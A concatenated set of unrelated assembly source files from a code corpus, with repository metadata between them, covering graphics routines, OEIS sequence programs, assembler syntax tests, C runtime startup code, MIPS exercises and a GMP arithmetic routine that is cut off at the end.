DESTROYED: ax, bx, cx, dx PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- gene 5/10/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ RotateSetTimer proc near class RotateApplicationClass uses di .enter mov di, ds:[si] add di, ds:[di].RotateApplication_offset mov al, TIMER_EVENT_ONE_SHOT mov cx, ROTATE_TIMER_SPEED mov dx, MSG_ROTATE_APP_DRAW mov bx, ds:[LMBH_handle] ; ^lbx:si <- destination call TimerStart mov ds:[di].RAI_timerHandle, bx mov ds:[di].RAI_timerID, ax .leave ret RotateSetTimer endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% RotateAppDraw %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Routine called to draw the next Rotate line. CALLED BY: MSG_QIX_APP_DRAW PASS: *ds:si = RotateApplication object ds:di = RotateApplicationInstance RETURN: nothing DESTROYED: ax, cx, dx, bp PSEUDO CODE/STRATEGY: This routine *must* be sure there's still a gstate around, as there is no synchronization provided by our parent to deal with timer methods that have already been queued after the SAVER_STOP method is received. REVISION HISTORY: Name Date Description ---- ---- ----------- eca 5/10/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ RotateAppDraw method dynamic RotateApplicationClass, MSG_ROTATE_APP_DRAW .enter ; ; Make sure there is a GState ; tst ds:[di].SAI_curGState jz done ; ; Make sure there is a bitmap ; tst ds:[di].RAI_bitmap jz newSpot push si mov si, di mov di, ds:[si].SAI_curGState ;di <- handle of GState call GrSaveState ; ; Update the screen. Translate to (0,0) so we can rotate ; about the center of circle. ; clr ax, cx mov dx, ds:[si].RAI_center.P_x mov bx, ds:[si].RAI_center.P_y call GrApplyTranslation mov dx, ds:[si].RAI_angle clr cx ;dx.cx <- rotation call GrApplyRotation ; ; Draw the beast ; mov bx, ds:[si].RAI_bitmap mov cx, ds:[si].RAI_radius neg cx clr dx ;(cx,dx) <- (x,y) position call LockAndDrawBitmap call GrRestoreState pop si ; ; Update the angle for next time ; mov di, ds:[si] add di, ds:[di].RotateApplication_offset add ds:[di].RAI_angle, ROTATE_ANGLE_INCREMENT cmp ds:[di].RAI_angle, ROTATE_ANGLE_STOP ja newSpot ; ; Set a timer for next time ; nextSpot: call RotateSetTimer done: .leave ret newSpot: call InitRotateSpot jmp nextSpot RotateAppDraw endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% LockAndDrawBitmap %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Lock, draw, and unlock the bitmap CALLED BY: RotateAppDraw() PASS: bx - handle of bitmap (cx,dx) - (x,y) coords to draw bitmap at di - handle of GState RETURN: none DESTROYED: ax PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- gene 5/10/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ LockAndDrawBitmap proc near uses ds, si .enter push bx call MemLock mov ds, ax clr si ; ds:si <- ptr to bitmap mov ax, cx mov bx, dx ; (ax,bx) <- (x,y) to draw at call GrDrawBitmap pop bx ; bx <- handle of bitmap call MemUnlock .leave ret LockAndDrawBitmap endp RotateCode ends
23.577017
81
0.552318
dc3d751c65d75e7799b933ed3f87a47a02e6ed72
277
asm
Assembly
programs/oeis/021/A021019.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/021/A021019.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/021/A021019.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A021019: Decimal expansion of 1/15. ; 0,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6 add $0,6 mov $1,6 mod $1,$0 mov $0,$1
34.625
199
0.530686
1f0fc407858d27efb17a774ac195df535d34e32b
2,176
asm
Assembly
Tests/valid-avx.asm
13xforever/x86-assembly-textmate-bundle
f1bb62f77b776d87d0fd85b0276d4237ff72c43c
[ "MIT" ]
69
2015-04-16T18:01:22.000Z
2022-02-15T07:54:26.000Z
Tests/valid-avx.asm
javiercbk/x86-assembly-textmate-bundle
62d700e0196f62ef4353a9b95c2e64beb0a6afda
[ "MIT" ]
17
2016-09-20T08:49:09.000Z
2021-02-19T15:01:04.000Z
Tests/valid-avx.asm
javiercbk/x86-assembly-textmate-bundle
62d700e0196f62ef4353a9b95c2e64beb0a6afda
[ "MIT" ]
19
2016-05-31T07:11:14.000Z
2021-07-19T10:17:12.000Z
vaddpd|vaddps|vaddsd|vaddsd|vaddsubpd|vaddsubps vaesdec|vaesdeclast|vaesenc|vaesenclast|vaesimc|vaeskeygenassist vandpd|vandps|vandnpd|vandnps vblendpd|vblendps|vblendvpd|vblendvps vcmppd|vcmpps|vcmpsd|vcmpss|vcomisd|vcomiss vcvtdq2pd|vcvtdq2ps|vcvtpd2dq|vcvtpd2ps|vcvtps2dq|vcvtps2pd vcvtsd2si|vcvtsd2ss|vcvtsi2sd|vcvtsi2ss|vcvtss2sd|vcvtss2si vcvttpd2dq|vcvttps2dq|vcvttsd2si|vcvttss2si vdivpd|vdivps|vdivsd|vdivss|vdppd|vdpps|vextractps vhaddpd|vhaddps|vhsubpd|vhsubps vinsertps vlddqu|vldmxcsr vmaskmovdqu|vmaxpd|vmaxps|vmaxsd|vmaxss|vminpd|vminps|vminsd|vminss vmovapd|vmovaps|vmovd|vmovq|vmovddup|vmovdqa|vmovdqu|vmovhlps|vmovhpd|vmovhps|vmovlhps|vmovlpd|vmovlps vmovmskpd|vmovmskps|vmovntdqa|vmovntdq|vmovntpd|vmovntps|vmovq|vmovsd vmovshdup|vmovsldup|vmovss|vmovupd|vmovups vmpsadbw|vmulpd|vmulps|vmulsd|vmulss vorpd|vorps vpabsb|vpabsw|vpabsd|vpacksswb|vpackssdw|vpackusdw|vpackuswb|vpaddb|vpaddw|vpaddd|vpaddq|vpaddsb|vpaddsw|vpaddusb|vpaddusw vpalignr|vpand|vpandn|vpavgb|vpavgw|vpblendvb|vpblendw|vpclmulqdq|vpcmpeqb|vpcmpeqw|vpcmpeqd|vpcmpeqq|vpcmpestri vpcmpeqb|vpcmpeqw|vpcmpeqd|vpcmpeqq|vpcmpestri|vpcmpestrm|vpcmpgtb|vpcmpgtw|vpcmpgtd|vpcmpgtq|vpcmpistri|vpcmpistrm vpextrb|vpextrd|vpextrq|vpextrw|vpextrw|vphaddw|vphaddd|vphaddsw|vphminposuw|vphsubw|vphsubd|vphsubsw vpinsrb|vpinsrd|vpinsrq|vpinsrw|vpmaddubsw|vpmaddwd vpmaxsb|vpmaxsd|vpmaxsw|vpmaxub|vpmaxud|vpmaxuw|vpminsb|vpminsd|vpminsw|vpminub|vpminud|vpminuw|vpmovmskb vpmovsxbw|vpmovsxbd|vpmovsxbq|vpmovsxwd|vpmovsxwq|vpmovsxdq vpmovzxbw|vpmovzxbd|vpmovzxbq|vpmovzxwd|vpmovzxwq|vpmovzxdq vpmuldq|vpmulhrsw|vpmulhuw|vpmulhw|vpmulld|vpmullw|vpmuludq vpor|vpsadbw|vpshufb|vpshufd|vpshufhw|vpshuflw|vpsignb|vpsignw|vpsignd vpslldq|vpsllw|vpslld|vpsllq|vpsraw|vpsrad|vpsraq|vpsrldq|vpsrlw|vpsrld|vpsrlq vpsubb|vpsubw|vpsubd|vpsubq|vpsubsb|vpsubsw|vpsubusb|vpsubusw|vptest vpunpckhbw|vpunpckhwd|vpunpckhdq|vpunpckhqdq|vpunpcklbw|vpunpcklwd|vpunpckldq|vpunpcklqdq|vpxor vrcpps|vrcpss|vroundpd|vroundps|vroundsd|vroundss|vrsqrtps|vrsqrtss vshufpd|vshufps|vsqrtpd|vsqrtps|vsqrtsd|vsqrtss|vstmxcsr|vsubpd|vsubps|vsubsd|vsubss vucomisd|vucomiss|vunpckhpd|vunpckhps|vunpcklpd|vunpcklps vxorpd|vxorps
44.408163
122
0.877757
19ebaf255593d765f521ea5d9549af27d41327ce
1,927
asm
Assembly
lib/target/tvc/classic/tvc_crt0.asm
dikdom/z88dk
40c55771062b0ea9bb2f0d5b73e2f754fc12b6b0
[ "ClArtistic" ]
null
null
null
lib/target/tvc/classic/tvc_crt0.asm
dikdom/z88dk
40c55771062b0ea9bb2f0d5b73e2f754fc12b6b0
[ "ClArtistic" ]
2
2022-03-20T22:17:35.000Z
2022-03-24T16:10:00.000Z
lib/target/tvc/classic/tvc_crt0.asm
jorgegv/z88dk
127130cf11f9ff268ba53e308138b12d2b9be90a
[ "ClArtistic" ]
null
null
null
; ; Videoton TV Computer C stub ; Sandor Vass - 2019 ; ; Based on the source of ; Enterprise 64/128 C stub ; Stefano Bodrato - 2011 ; ; Currently this crt supports only max 26kB of cas file, so even ; the 32k TVC version is supported. MODULE tvc_crt0 ; ; Initially include the zcc_opt.def file to find out lots of lovely ; information about what we should do.. ; defc crt0 = 1 INCLUDE "zcc_opt.def" ;-------- ; Some scope definitions ;-------- EXTERN _main PUBLIC cleanup PUBLIC l_dcal ; tvc specific stuff defc TAR__clib_exit_stack_size = 32 defc TAR__register_sp = -1 defc __CPU_CLOCK = 3125000 INCLUDE "crt/classic/crt_rules.inc" ; This is a required value in order to be able to generate .cas file IF !DEFINED_CRT_ORG_CODE defc CRT_ORG_CODE = 1a03h ENDIF org CRT_ORG_CODE ;---------------------- ; Execution starts here ;---------------------- start: push ix push iy exx push bc push hl exx ld (__restore_sp_onexit+1),sp INCLUDE "crt/classic/crt_init_sp.asm" INCLUDE "crt/classic/crt_init_atexit.asm" call crt0_init_bss ld (exitsp),sp ; Optional definition for auto MALLOC init ; it assumes we have free space between the end of ; the compiled program and the stack pointer IF DEFINED_USING_amalloc INCLUDE "crt/classic/crt_init_amalloc.asm" ENDIF call _main cleanup: call crt0_exit __restore_sp_onexit: ld sp,0 exx pop hl pop bc exx pop iy pop ix ret l_dcal: jp (hl) end: defb 0 INCLUDE "crt/classic/crt_runtime_selection.asm" INCLUDE "crt/classic/crt_section.asm"
19.079208
70
0.571354
6aa8de7d9fead995fa00c6eb209c8aeb56f93abc
1,084
asm
Assembly
source/handler/nmi.asm
mega65dev/rom-assembler
1670a56a8246dcdcc18e83b345d577eba686cf32
[ "MIT" ]
null
null
null
source/handler/nmi.asm
mega65dev/rom-assembler
1670a56a8246dcdcc18e83b345d577eba686cf32
[ "MIT" ]
null
null
null
source/handler/nmi.asm
mega65dev/rom-assembler
1670a56a8246dcdcc18e83b345d577eba686cf32
[ "MIT" ]
null
null
null
; ******************************************************************************************** ; ******************************************************************************************** ; ; Name : nmi.asm ; Purpose : .. ; Created : 15th Nov 1991 ; Updated : 4th Jan 2021 ; Authors : Fred Bowen ; ; ******************************************************************************************** ; ******************************************************************************************** basic_nmi ; removed [910826] ; lda nmi_wrap_flag ;filter out wrapped NMI calls [910523] audio ; beq 1$ ; it's ok ; rts ; exit- we're already handling one interrupt ; ;1$ inc nmi_wrap_flag ;shut the door to NMI ; ;basic_nmi_end ; dec nmi_wrap_flag ;open the door to NMI rts ;.end ; ******************************************************************************************** ; ; Date Changes ; ==== ======= ; ; ********************************************************************************************
29.297297
94
0.26107
b03eecc6a5b512ea8a690d08a666583a45074b00
23
asm
Assembly
Games/banchorce/source/bancmaps.asm
CiaranGruber/Ti-84-Calculator
96742a4a2b9e21aa9d675575dc7e4f26365430c0
[ "MIT" ]
1
2019-03-31T11:49:12.000Z
2019-03-31T11:49:12.000Z
Games/banchorce/source/bancmaps.asm
CiaranGruber/Ti-84-Calculator
96742a4a2b9e21aa9d675575dc7e4f26365430c0
[ "MIT" ]
null
null
null
Games/banchorce/source/bancmaps.asm
CiaranGruber/Ti-84-Calculator
96742a4a2b9e21aa9d675575dc7e4f26365430c0
[ "MIT" ]
1
2020-03-09T13:21:19.000Z
2020-03-09T13:21:19.000Z
#import "bancmaps.rpg"
11.5
22
0.73913
7cd3e5d68a85758ba5e7cf06f0a65e101c6bebc3
747
asm
Assembly
libsrc/strings/strcat_callee.asm
andydansby/z88dk-mk2
51c15f1387293809c496f5eaf7b196f8a0e9b66b
[ "ClArtistic" ]
1
2020-09-15T08:35:49.000Z
2020-09-15T08:35:49.000Z
libsrc/strings/strcat_callee.asm
dex4er/deb-z88dk
9ee4f23444fa6f6043462332a1bff7ae20a8504b
[ "ClArtistic" ]
null
null
null
libsrc/strings/strcat_callee.asm
dex4er/deb-z88dk
9ee4f23444fa6f6043462332a1bff7ae20a8504b
[ "ClArtistic" ]
null
null
null
; char __CALLEE__ *strcat_callee(char *dst, char *src) ; copy src to end of dst ; 12.2006 aralbrec XLIB strcat_callee XDEF ASMDISP_STRCAT_CALLEE LIB rcmx_cpir .strcat_callee pop hl pop de ex (sp),hl ; enter : de = char *src ; hl = char *dst ; exit : hl = char *dst ; uses : af, bc, de .asmentry push hl ; save char *dst xor a ; first find end of char *dst ld c,a ld b,a cpir dec hl ex de,hl .loop ; next copy char *src to end of char *dst ld a,(hl) ldi or a jp nz, loop pop hl ; return with hl = char *s ret DEFC ASMDISP_STRCAT_CALLEE = asmentry - strcat_callee
16.977273
70
0.531459
607213acf10a2ea54c3e5412e048ab36a195407f
86
asm
Assembly
libsrc/stdio_new/general/stdio_basechar.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
8
2017-01-18T12:02:17.000Z
2021-06-12T09:40:28.000Z
libsrc/stdio_new/general/stdio_basechar.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
1
2017-03-06T07:41:56.000Z
2017-03-06T07:41:56.000Z
libsrc/stdio_new/general/stdio_basechar.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
3
2017-03-07T03:19:40.000Z
2021-09-15T17:59:19.000Z
PUBLIC stdio_basechar .stdio_basechar defm "0123456789abcdefghijklmnopqrstuvwxyz"
17.2
61
0.860465
b7aa584f14af0ce78272957fd9ee90c52229aeee
59
asm
Assembly
src/8088/virtual/pit.asm
MichalPleban/cbm2-pc-emulator
1ad7fe27e77cf6c25c863d92be75348c104c462c
[ "Apache-2.0" ]
15
2017-11-03T21:50:59.000Z
2021-07-21T10:09:54.000Z
src/8088/virtual/pit.asm
MichalPleban/cbm2-pc-emulator
1ad7fe27e77cf6c25c863d92be75348c104c462c
[ "Apache-2.0" ]
8
2017-11-04T10:37:41.000Z
2021-05-30T20:35:08.000Z
src/8088/virtual/pit.asm
MichalPleban/cbm2-pc-emulator
1ad7fe27e77cf6c25c863d92be75348c104c462c
[ "Apache-2.0" ]
5
2017-11-03T22:04:20.000Z
2021-04-18T16:40:20.000Z
V_PIT_Init: ret V_OUT_043: retf
7.375
16
0.440678
c27648caca01983ccca65ecfc69132f836f7bb15
531
asm
Assembly
oeis/009/A009982.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/009/A009982.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/009/A009982.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A009982: Powers of 38. ; 1,38,1444,54872,2085136,79235168,3010936384,114415582592,4347792138496,165216101262848,6278211847988224,238572050223552512,9065737908494995456,344498040522809827328,13090925539866773438464,497455170514937390661632,18903296479567620845142016,718325266223569592115396608,27296360116495644500385071104,1037261684426834491014632701952,39415944008219710658556042674176,1497805872312349005025129621618688,56916623147869262190954925621510144,2162831679619031963256287173617385472 mov $1,38 pow $1,$0 mov $0,$1
75.857143
474
0.907721
6ab18bd4af1844091bdc548c4cfdc350715b280d
92
asm
Assembly
libsrc/_DEVELOPMENT/math/float/math48/lm/c/sccz80/ceil.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/math/float/math48/lm/c/sccz80/ceil.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/math/float/math48/lm/c/sccz80/ceil.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
SECTION code_fp_math48 PUBLIC ceil EXTERN cm48_sccz80_ceil defc ceil = cm48_sccz80_ceil
10.222222
28
0.836957
3f7c744557682b26753983c73daf3173b1517a56
702
asm
Assembly
contaElementiInVettore.asm
edoardottt/Asm_mars_examples
4c763ef94a7345a03313b1626aed9642e07e0dad
[ "Unlicense" ]
21
2019-06-29T19:56:20.000Z
2021-09-08T08:06:52.000Z
contaElementiInVettore.asm
edoardottt/Asm_mars_examples
4c763ef94a7345a03313b1626aed9642e07e0dad
[ "Unlicense" ]
null
null
null
contaElementiInVettore.asm
edoardottt/Asm_mars_examples
4c763ef94a7345a03313b1626aed9642e07e0dad
[ "Unlicense" ]
7
2019-10-11T19:30:48.000Z
2022-02-11T08:08:53.000Z
# CONTA ELEMENTI IN VETTORE ( ENTRAMBI DATI IN INPUT ) # con funzioni e salvataggio su stack pointer .data vettore: .space 100 .text li $t1,0 riempi: li $v0,5 syscall beq $v0,$t1,elemento sw $v0,vettore($t0) addi $t0,$t0,4 j riempi elemento: la $a0,vettore lw $a1,vettore($t1) li $v0,5 syscall move $t3,$v0 scandisci: beq $a1,$t1,stampa lw $a1,0($a0) jal verifica addi $a0,$a0,4 j scandisci verifica: subi $sp,$sp,8 sw $ra,0($sp) sw $a1,4($sp) beq $a1,$t3,aggiungi lw $ra,0($sp) lw $a1,4($sp) addi $sp,$sp,8 jr $ra aggiungi: addi $s2,$s2,1 lw $ra,0($sp) lw $a1,4($sp) addi $sp,$sp,8 jr $ra stampa: li $v0,1 move $a0,$s2 syscall li $v0,10 syscall
12.103448
54
0.619658
4659375fe3922f4569fa6b0d0b73a9fbfed53603
369
asm
Assembly
data/mapObjects/CeruleanMart.asm
AmateurPanda92/pokemon-rby-dx
f7ba1cc50b22d93ed176571e074a52d73360da93
[ "MIT" ]
9
2020-07-12T19:44:21.000Z
2022-03-03T23:32:40.000Z
data/mapObjects/CeruleanMart.asm
JStar-debug2020/pokemon-rby-dx
c2fdd8145d96683addbd8d9075f946a68d1527a1
[ "MIT" ]
7
2020-07-16T10:48:52.000Z
2021-01-28T18:32:02.000Z
data/mapObjects/CeruleanMart.asm
JStar-debug2020/pokemon-rby-dx
c2fdd8145d96683addbd8d9075f946a68d1527a1
[ "MIT" ]
2
2021-03-28T18:33:43.000Z
2021-05-06T13:12:09.000Z
CeruleanMart_Object: db $0 ; border block db 2 ; warps warp 3, 7, 5, -1 warp 4, 7, 5, -1 db 0 ; signs db 3 ; objects object SPRITE_MART_GUY, 0, 5, STAY, RIGHT, 1 ; person object SPRITE_BLACK_HAIR_BOY_1, 3, 4, WALK, 1, 2 ; person object SPRITE_LASS, 6, 2, WALK, 2, 3 ; person ; warp-to warp_to 3, 7, CERULEAN_MART_WIDTH warp_to 4, 7, CERULEAN_MART_WIDTH
20.5
58
0.677507
c046a3ac3411bac94a12a0eeca56b616f245a2a6
527
asm
Assembly
raycast/orig/main.asm
raxod502/battlestar
3f8873a9cc10a85b69d0a666d2a05d41e33f5fb0
[ "MIT" ]
68
2015-01-18T16:03:18.000Z
2022-03-11T20:00:10.000Z
raycast/orig/main.asm
raxod502/battlestar
3f8873a9cc10a85b69d0a666d2a05d41e33f5fb0
[ "MIT" ]
4
2017-03-08T00:34:39.000Z
2021-07-10T22:08:39.000Z
raycast/orig/main.asm
raxod502/battlestar
3f8873a9cc10a85b69d0a666d2a05d41e33f5fb0
[ "MIT" ]
7
2017-02-26T07:33:21.000Z
2022-03-11T20:00:12.000Z
; From https://www.pouet.net/prod.php?which=78044 mov al, 0x13 int 0x10 push 0x9FF6 pop es mov dx,0x3c9 P: out dx, al out dx, al out dx, al cmp al, 63 jz F inc ax F: loop P pop ds X: mov cl, -9 L: mov bl, cl mov ax, 0xcccd mul di lea ax, [bx-80] add al, dh imul bl xchg ax, dx imul bl mov al, dh xor al, ah sub bl, [0x46c] add al, 4 and al, bl test al, 24 loopz L or al, 252 sub al, cl stosb loop X
11.711111
49
0.508539
d9ef8d62fa752bff03ab2c79cb419459813c320a
291
asm
Assembly
Tests/yasm-regression/far64.asm
13xforever/x86-assembly-textmate-bundle
f1bb62f77b776d87d0fd85b0276d4237ff72c43c
[ "MIT" ]
69
2015-04-16T18:01:22.000Z
2022-02-15T07:54:26.000Z
Tests/yasm-regression/far64.asm
javiercbk/x86-assembly-textmate-bundle
62d700e0196f62ef4353a9b95c2e64beb0a6afda
[ "MIT" ]
17
2016-09-20T08:49:09.000Z
2021-02-19T15:01:04.000Z
Tests/yasm-regression/far64.asm
javiercbk/x86-assembly-textmate-bundle
62d700e0196f62ef4353a9b95c2e64beb0a6afda
[ "MIT" ]
19
2016-05-31T07:11:14.000Z
2021-07-19T10:17:12.000Z
[bits 64] call far dword [0] ; out: ff 1c 25 00 00 00 00 call far qword [0] ; out: 48 ff 1c 25 00 00 00 00 call far [0] ; out: ff 1c 25 00 00 00 00 jmp far dword [0] ; out: ff 2c 25 00 00 00 00 jmp far qword [0] ; out: 48 ff 2c 25 00 00 00 00 jmp far [0] ; out: ff 2c 25 00 00 00 00
36.375
50
0.608247
e25b25d0aa9642791b552406a15cfafc2d07fef3
984
asm
Assembly
programs/oeis/168/A168232.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/168/A168232.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/168/A168232.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A168232: a(n) = (2*n - 3*(-1)^n - 1)/2. ; 2,0,4,2,6,4,8,6,10,8,12,10,14,12,16,14,18,16,20,18,22,20,24,22,26,24,28,26,30,28,32,30,34,32,36,34,38,36,40,38,42,40,44,42,46,44,48,46,50,48,52,50,54,52,56,54,58,56,60,58,62,60,64,62,66,64,68,66,70,68,72,70,74,72,76,74,78,76,80,78,82,80,84,82,86,84,88,86,90,88,92,90,94,92,96,94,98,96,100,98,102,100,104,102,106,104,108,106,110,108,112,110,114,112,116,114,118,116,120,118,122,120,124,122,126,124,128,126,130,128,132,130,134,132,136,134,138,136,140,138,142,140,144,142,146,144,148,146,150,148,152,150,154,152,156,154,158,156,160,158,162,160,164,162,166,164,168,166,170,168,172,170,174,172,176,174,178,176,180,178,182,180,184,182,186,184,188,186,190,188,192,190,194,192,196,194,198,196,200,198,202,200,204,202,206,204,208,206,210,208,212,210,214,212,216,214,218,216,220,218,222,220,224,222,226,224,228,226,230,228,232,230,234,232,236,234,238,236,240,238,242,240,244,242,246,244,248,246,250,248 mov $1,$0 mod $1,2 gcd $1,4 add $1,$0 sub $1,2
109.333333
893
0.694106
ec2d72e97b7fa93c717fe3d54f516ba0c510229e
1,164
asm
Assembly
8_kyu/Enumerable_Magic_2_True_for_Any.asm
UlrichBerntien/Codewars-Katas
bbd025e67aa352d313564d3862db19fffa39f552
[ "MIT" ]
null
null
null
8_kyu/Enumerable_Magic_2_True_for_Any.asm
UlrichBerntien/Codewars-Katas
bbd025e67aa352d313564d3862db19fffa39f552
[ "MIT" ]
null
null
null
8_kyu/Enumerable_Magic_2_True_for_Any.asm
UlrichBerntien/Codewars-Katas
bbd025e67aa352d313564d3862db19fffa39f552
[ "MIT" ]
null
null
null
SECTION .text global any ; input ; rdi - pointer to array of int ; rsi - number of elements in the array ; rdx - pointer to function of int return bool ; output ; rax - true if any function calls return true any: xor rax, rax ; return false on an parameter error test rdi,rdi jz .errorexit ; null pointer to array: return false test rsi,rsi jz .errorexit ; 0 array length: return false test rdx,rdx jz .errorexit ; null pointer to function: return false push r12 push r13 push r14 mov r12,rsi ; counter mov r13,rdi ; pointer to current int in the array mov r14,rdx ; function address .loop: mov edi,[r13] call r14 ; call function with current int test al,al ; bool is returned in al, ignore the other bits jnz .return ; funtion returns true: return true add r13,4 ; no next array int dec r12 jnz .loop ; next array item or return false .return: movzx rax,al ; return rax pop r14 pop r13 pop r12 .errorexit: ret
29.846154
72
0.585052
f4aa1305a97ab5dedde59e4977cb995b16747a5d
390
asm
Assembly
data/mapObjects/CeladonHotel.asm
AmateurPanda92/pokemon-rby-dx
f7ba1cc50b22d93ed176571e074a52d73360da93
[ "MIT" ]
9
2020-07-12T19:44:21.000Z
2022-03-03T23:32:40.000Z
data/mapObjects/CeladonHotel.asm
JStar-debug2020/pokemon-rby-dx
c2fdd8145d96683addbd8d9075f946a68d1527a1
[ "MIT" ]
7
2020-07-16T10:48:52.000Z
2021-01-28T18:32:02.000Z
data/mapObjects/CeladonHotel.asm
JStar-debug2020/pokemon-rby-dx
c2fdd8145d96683addbd8d9075f946a68d1527a1
[ "MIT" ]
2
2021-03-28T18:33:43.000Z
2021-05-06T13:12:09.000Z
CeladonHotel_Object: db $0 ; border block db 2 ; warps warp 3, 7, 12, -1 warp 4, 7, 12, -1 db 0 ; signs db 3 ; objects object SPRITE_OLD_MEDIUM_WOMAN, 3, 1, STAY, DOWN, 1 ; person object SPRITE_FOULARD_WOMAN, 2, 4, STAY, NONE, 2 ; person object SPRITE_BLACK_HAIR_BOY_2, 8, 4, WALK, 2, 3 ; person ; warp-to warp_to 3, 7, CELADON_HOTEL_WIDTH warp_to 4, 7, CELADON_HOTEL_WIDTH
21.666667
61
0.694872
16cecef8df29b50ea524cf69f28a29e13182ebed
3,401
asm
Assembly
deps/gmp.js/mpn/x86_64/aorrlsh2_n.asm
6un9-h0-Dan/cobaul
11115a7a77924d6e1642f847c613efb25f217e56
[ "MIT" ]
184
2020-04-15T14:28:37.000Z
2020-09-22T15:57:55.000Z
deps/gmp.js/mpn/x86_64/aorrlsh2_n.asm
6un9-h0-Dan/cobaul
11115a7a77924d6e1642f847c613efb25f217e56
[ "MIT" ]
3
2020-09-22T05:09:36.000Z
2020-09-22T11:56:00.000Z
deps/gmp.js/mpn/x86_64/aorrlsh2_n.asm
6un9-h0-Dan/cobaul
11115a7a77924d6e1642f847c613efb25f217e56
[ "MIT" ]
5
2020-04-21T19:50:23.000Z
2020-09-22T10:58:02.000Z
dnl AMD64 mpn_addlsh2_n and mpn_rsblsh2_n. R = 2*V +- U. dnl ("rsb" means reversed subtract, name mandated by mpn_sublsh2_n which dnl subtacts the shifted operand from the unshifted operand.) dnl Copyright 2009 Free Software Foundation, Inc. dnl This file is part of the GNU MP Library. dnl The GNU MP Library is free software; you can redistribute it and/or modify dnl it under the terms of the GNU Lesser General Public License as published dnl by the Free Software Foundation; either version 3 of the License, or (at dnl your option) any later version. dnl The GNU MP Library is distributed in the hope that it will be useful, but dnl WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY dnl or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public dnl License for more details. dnl You should have received a copy of the GNU Lesser General Public License dnl along with the GNU MP Library. If not, see http://www.gnu.org/licenses/. include(`../config.m4') C cycles/limb C K8,K9: 2 C K10: 2 C P4: ? C P6 core2: 3 C P6 corei7: 2.75 C P6 atom: ? C INPUT PARAMETERS define(`rp', `%rdi') define(`up', `%rsi') define(`vp', `%rdx') define(`n', `%rcx') ifdef(`OPERATION_addlsh2_n',` define(ADDSUB, `add') define(ADCSBB, `adc') define(func, mpn_addlsh2_n)') ifdef(`OPERATION_rsblsh2_n',` define(ADDSUB, `sub') define(ADCSBB, `sbb') define(func, mpn_rsblsh2_n)') MULFUNC_PROLOGUE(mpn_addlsh2_n mpn_rsblsh2_n) ASM_START() TEXT ALIGN(16) PROLOGUE(func) push %r12 push %r13 push %r14 push %r15 mov (vp), %r8 lea (,%r8,4), %r12 shr $62, %r8 mov R32(n), R32(%rax) lea (rp,n,8), rp lea (up,n,8), up lea (vp,n,8), vp neg n and $3, R8(%rax) je L(b00) cmp $2, R8(%rax) jc L(b01) je L(b10) L(b11): mov 8(vp,n,8), %r10 lea (%r8,%r10,4), %r14 shr $62, %r10 mov 16(vp,n,8), %r11 lea 